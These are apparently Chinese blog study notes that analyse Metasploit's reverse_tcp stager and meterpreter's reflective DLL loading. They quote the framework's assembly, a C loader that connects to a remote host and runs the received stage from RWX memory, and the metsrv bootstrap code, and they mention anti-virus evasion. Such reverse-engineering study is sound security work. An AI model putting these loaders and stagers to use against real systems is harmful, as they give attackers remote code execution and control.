MSF中的Payload分析学习记录

MSF 的 payload 分析

执行方式上有 3 种 独立 (Single)、传输器 (Stager)、传输体 (Stage)，前者单独执行，后两种共同执行。也有人直接分为两种：staged 和stageless，本质上是一样的。相关实现在 modules/payloads 下

single：独立载荷，可直接植入目标系统并执行相应的程序

stager：传输器载荷，用于目标机与攻击机之间建立稳定的网络连接，与传输体载荷配合攻击。通常该种载荷体积都非常小，可以在漏洞利用后方便注入。

stage：传输体载荷，如 shell、meterpreter 等。在 stager 建立好稳定的连接后，攻击机将 stage 传输给目标机，由 stagers 进行相应处理，将控制权转交给 stage。比如得到目标机的 shell，或者 meterpreter 控制程序运行。

常用的就是 stager + stage ，类似 web 渗透中的小马 + 大马，重点关注一下 stager，以常用的反弹 shell 的 reverse_tcp 为例。源码地址 https://github.com/rapid7/metasploit-framework/blob/bdb729a43bfe4c178ab49cba25f022b01baed853/lib/msf/core/payload/windows/reverse_tcp.rb

  def generate_reverse_tcp(opts={})
    combined_asm = %Q^
      cld                    ; Clear the direction flag.
      call start             ; Call start, this pushes the address of 'api_call' onto the stack.
      #{asm_block_api}
      start:
        pop ebp
      #{asm_reverse_tcp(opts)}
      #{asm_block_recv(opts)}
    ^
    Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
  end

重点看一下组成 shellcode 的 3 部分，asm_block_api 根据函数的 hash 搜索函数地址并调用，具体实现位于 lib/msf/core/payload/windows/block_api.rb

  def asm_block_api(opts={})
    Rex::Payloads::Shuffle.from_graphml_file(
      File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
      arch: ARCH_X86,
      name: 'api_call'
    )
  end

asm_reverse_tcp(opts) 负责创建 TCP 连接，asm_block_recv(opts) 用来接收和处理 msf 发的数据，具体实现都在当前文件中。
看一下实现流程，先执行 cld 确保字符串的解析方向，然后将 asm_block_api 的地址存到 ebp 中，这样只要调用 push 函数的 hash 值，接着 call ebp 就能调用这个函数。
asm_reverse_tcp 部分就是用汇编实现了一个 tcp 的连接，大致流程：

push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}

asm_block_recv 部分实现，先接收 4 字节的 length ，直接调用 VirtualAlloc 分配有 RWX 权限的内存用于保存 payload（会被杀软检测！）

recv:
; Receive the size of the incoming second stage...
push byte 0 ; flags
push byte 4 ; length = sizeof( DWORD );
push esi               ; the 4 byte buffer on the stack to hold the second stage length
push edi               ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp               ; recv( s, &dwLength, 4, 0 );
; Alloc a RWX buffer for the second stage
mov esi, [esi]         ; dereference the pointer to the second stage length
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi               ; push the newly recieved second stage length.
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

这一部分就是 windows 下 shellcode 的常规写法然后连续 xchg ebx, eax；push ebx 将这段内存地址（也就是 payload 地址）压入栈中，最后通过 ret 弹出，最后进入该地址执行。

; Receive the second stage and execute it...
xchg ebx, eax          ; ebx = our new memory address for the new stage
push ebx               ; push the address of the new stage so we can return into it
read_more:               ;
push byte 0 ; flags
push esi               ; length
push ebx               ; the current address into our second stage's RWX buffer
push edi               ; the saved 
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp               ; recv( s, buffer, length, 0 );
add ebx, eax           ; buffer += bytes_received
sub esi, eax           ; length -= bytes_received, will set flags
jnz read_more          ; continue if we have more to read
ret                    ; return into the second stage

这里有个很有意思的地方，edi保存的是socket，原因是为什么可以先放一下。
除了 msf 自带的，还有 cs 作者写的 metasploit-loader https://github.com/rsmudge/metasploit-loader，用 C 写的比较容易理解，但实际上和 msf 自带的在流程上没有什么区别。

//主函数
int main(int argc, char * argv[]) {
    ULONG32 size;
    char * buffer;
    //创建函数指针，方便XXOO
    void (*function)();
    winsock_init(); //套接字初始化
    //获取参数，这里随便写，接不接收无所谓，主要是传递远程主机IP和端口
    //这个可以事先定义好
    if (argc != 3) {
        printf("%s [host] [port] ^__^ \n", argv[0]);
        exit(1);
    }

    /*连接到处理程序，也就是远程主机 */
    SOCKET my_socket = my_connect(argv[1], atoi(argv[2]));

    /* 读取4字节长度
    *这里是meterpreter第一次发送过来的
    *4字节缓冲区大小2E840D00，大小可能会有所不同,当然也可以自己丢弃，自己定义一个大小
    */
    //是否报错
    //如果第一次不是接收的4字节那么就退出程序
    int count = recv(my_socket, (char *)&size, 4, 0);
    if (count != 4 || size <= 0)
        punt(my_socket, "read length value Error\n");

    /* 分配一个缓冲区 RWX buffer */
    buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (buffer == NULL)
        punt(my_socket, "could not alloc buffer\n");

    /* 
    *SOCKET赋值到EDI寄存器，装载到buffer[]中
    */
    //mov edi
    buffer[0] = 0xBF;

    /* 把我们的socket里的值复制到缓冲区中去*/
    memcpy(buffer + 1, &my_socket, 4);

    /* 读取字节到缓冲区
    *这里就循环接收DLL数据，直到接收完毕
    */
    count = recv_all(my_socket, buffer + 5, size);

    /* 将缓冲区作为函数并调用它。
    * 这里可以看作是shellcode的装载，
    * 因为这本身是一个DLL装载器，完成使命，控制权交给DLL，
    * 但本身不退出，除非迁移进程，靠DLL里函数，DLL在DLLMain里是循环接收指令的，直到遇到退出指令，
    * (void (*)())buffer的这种用法经常出现在shellcode中
    */
    function = (void (*)())buffer;
    function();
    return 0;
}

这里也出现了同样的问题，需要将 SOCKET 赋值到 edi 寄存器，装载到buffer[]中，和前面一样。

Meterpreter payload 分析

在 staged 模式下，meterpreter 提供 stage，也就是具体的 payload，具体的实现使用了大量的反射 dll 注入技术，不会再磁盘上留下任何文件，直接载入内存，可以很好的规避杀软，而我们前文分析的 stager 文件则有很多特征，通常需要做免杀处理。
扯远了，这里看 msf 中的具体实现，在 lib/msf/core/payload/windows/meterpreter_loader.rb 中的 stage_meterpreter 函数中

 def stage_meterpreter(opts={})
    # Exceptions will be thrown by the mixin if there are issues.
    dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))    #读取 metsrv.x86.dll

    asm_opts = {
      rdi_offset: offset,
      length:     dll.length,
      stageless:  opts[:stageless] == true
    }

    asm = asm_invoke_metsrv(asm_opts)   # 生成字节码

    # generate the bootstrap asm
    bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string

    # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
    if bootstrap.length > 62
      raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
    end
    # 这一部分都是检查
    # patch the bootstrap code into the dll's DOS header...
    dll[ 0, bootstrap.length ] = bootstrap  # 替换 dll 头

    dll
  end

挨个函数看，首先是 load_rdi_dll，读取了这个 dll 文件，返回文件和对应偏移量，这个 offset 对应的是 ReflectiveLoader导出函数的地址

  def load_rdi_dll(dll_path, loader_name: 'ReflectiveLoader', loader_ordinal: EXPORT_REFLECTIVELOADER)
    dll = ''
    ::File.open(dll_path, 'rb') { |f| dll = f.read }

    offset = parse_pe(dll, loader_name: loader_name, loader_ordinal: loader_ordinal)

    unless offset
      raise "Cannot find the ReflectiveLoader entry point in #{dll_path}"
    end

    return dll, offset
  end

这个 offset 直接被传入了 asm_invoke_metsrv 中，首先是构造 MZ 头

  def asm_invoke_metsrv(opts={})
    asm = %Q^
        ; prologue
          dec ebp               ; 'M'
          pop edx               ; 'Z'

这里的部分就是反射 dll 技术，加载 dll 到自身内存，最后返回 dllmain 的函数地址，存在 eax 中

          call $+5              ; call next instruction
          pop ebx               ; get the current location (+7 bytes)
          push edx              ; restore edx
          inc ebp               ; restore ebp
          push ebp              ; save ebp for later
          mov ebp, esp          ; set up a new stack frame
        ; Invoke ReflectiveLoader()
          ; add the offset to ReflectiveLoader() (0x????????)
          add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
          call ebx              ; invoke ReflectiveLoader()
        ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
          ; offset from ReflectiveLoader() to the end of the DLL
          add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
    ^

这里的 edi 中存着的就是 socket 的地址，在前面的这句

add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}

代码中，ebx 指向的是在 dll 加载空间的末尾，也就是说现在 socket 的地址被放到了 dll 加载空间的末尾。

 unless opts[:stageless] || opts[:force_write_handle] == true
      asm << %Q^
          mov [ebx], edi        ; write the current socket/handle to the config
      ^
    end
    # 

前面提到过，eax 中存的是 dllmain 函数，在这里调用

    asm << %Q^
          push ebx              ; push the pointer to the configuration start
          push 4                ; indicate that we have attached
          push eax              ; push some arbitrary value for hInstance
          call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
    ^
  end

ebx 中是什么还不知道，前面这只是生成 payload 的前半部分，在 stage_payload 中可以看出后面还加上了一些配置信息

  def stage_payload(opts={})
    stage_meterpreter(opts) + generate_config(opts)

持续跟进 generate_config 函数，其中主要的操作就是将各种配置转化为字节码，在 session_block 和 transport_block 函数中，发现这里给有一段区域填充了 8 位的 0，给 socket 留了位置。
也就是说在 mov edi, &socket 之后，ebx 指向的那块内存就从之前的 8 位 0，变成了 socket，从而让 ebx 指向了 socket 的地址。

    session_data = [
      0,                  # comms socket, patched in by the stager
      exit_func,          # exit function identifer
      opts[:expiration],  # Session expiry
      uuid,               # the UUID
      session_guid        # the Session GUID
    ]

    session_data.pack('QVVA*A*')

放两张参考文献中的 dalao 的调试图：


（ebx -> 006CAC05 -> 0150[socket] <- edi）

反射 dll 分析

相关代码在 https://github.com/rapid7/metasploit-payloads 中，看一下生成这个 metsrv.dll 的 metsrv.c

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
    BOOL bReturnValue = TRUE;

    switch (dwReason)
    {
    case DLL_METASPLOIT_ATTACH:
        bReturnValue = Init((MetsrvConfig*)lpReserved);
        break;
    case DLL_QUERY_HMODULE:
        if (lpReserved != NULL)
            *(HMODULE*)lpReserved = hAppInstance;
        break;
    case DLL_PROCESS_ATTACH:
        hAppInstance = hinstDLL;
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return bReturnValue;
}

看一下 stage 中的调用 dllmain 的过程，其中 DLL_METASPLOIT_ATTACH 函数在 metsrv.c 中，而 config_ptr 传递的是前面的 push ebx，也就是 socket 句柄所在地址的那段数据的起始地址。

call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)

在 DLL_METASPLOIT_ATTACH 分支中，会将 ebx 指向的这段地址中的数据转为 MetsrvConfig 结构体。

typedef struct _MetsrvConfig
{
    MetsrvSession session;
    MetsrvTransportCommon transports[1];  ///! Placeholder
} MetsrvConfig;

将这段内存（本来也是生成的 config）重新转化为 MetsrvConfig 类型，其中的变量在 payload 的生成选项里都有。
既然发生了类型转换，那就看一下 edi 指向的这个 socket 在转换后被分配到了哪个变量。

 union
    {
        UINT_PTR handle;
        BYTE padding[8];
    } comms_handle;                       ///! Socket/handle for communications (if there is one).

继续跟进 comms_handle，可以发现对这个联合体的调用都在 metsrv/server_setup.c 中，其中的 server_setup 函数在完成类型转换之后的 Init 中被调用。看一下调用了 comms_handle 的部分。

...
dprintf("[SESSION] Comms handle: %u", config->session.comms_handle);
...

dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle);
if (remote->transport->set_handle)
{
    remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
}

重点在这一句，将 remote->transport 设置为之前创建的 socket

remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);

剩下的就是建立 tcp 连接的过程了，用的是前面创建的 socket 句柄。

流量分析

由 msf 发的包分 3 部分，首先是 4 字节的长度

第二部分是修改了 DOS 头部的 metsrv.x86.dll，可以看到 MZ 头和 PE 头

第三部分是配置数据

参考文献

• https://zhuanlan.zhihu.com/p/49072808
• https://www.cnblogs.com/akkuman/p/12859091.html
• https://www.freebuf.com/articles/network/263010.html
• https://github.com/rapid7/metasploit-framework/
• https://xz.aliyun.com/t/1709